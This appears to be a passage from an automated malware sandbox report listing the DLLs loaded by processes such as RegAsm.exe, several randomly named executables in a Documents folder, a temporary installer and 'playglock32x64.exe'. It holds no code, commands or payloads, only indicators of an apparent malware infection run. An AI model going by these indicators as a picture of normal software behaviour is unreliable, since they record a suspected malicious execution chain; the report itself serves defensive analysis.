Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: dsound.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: appxsip.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: opcservices.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
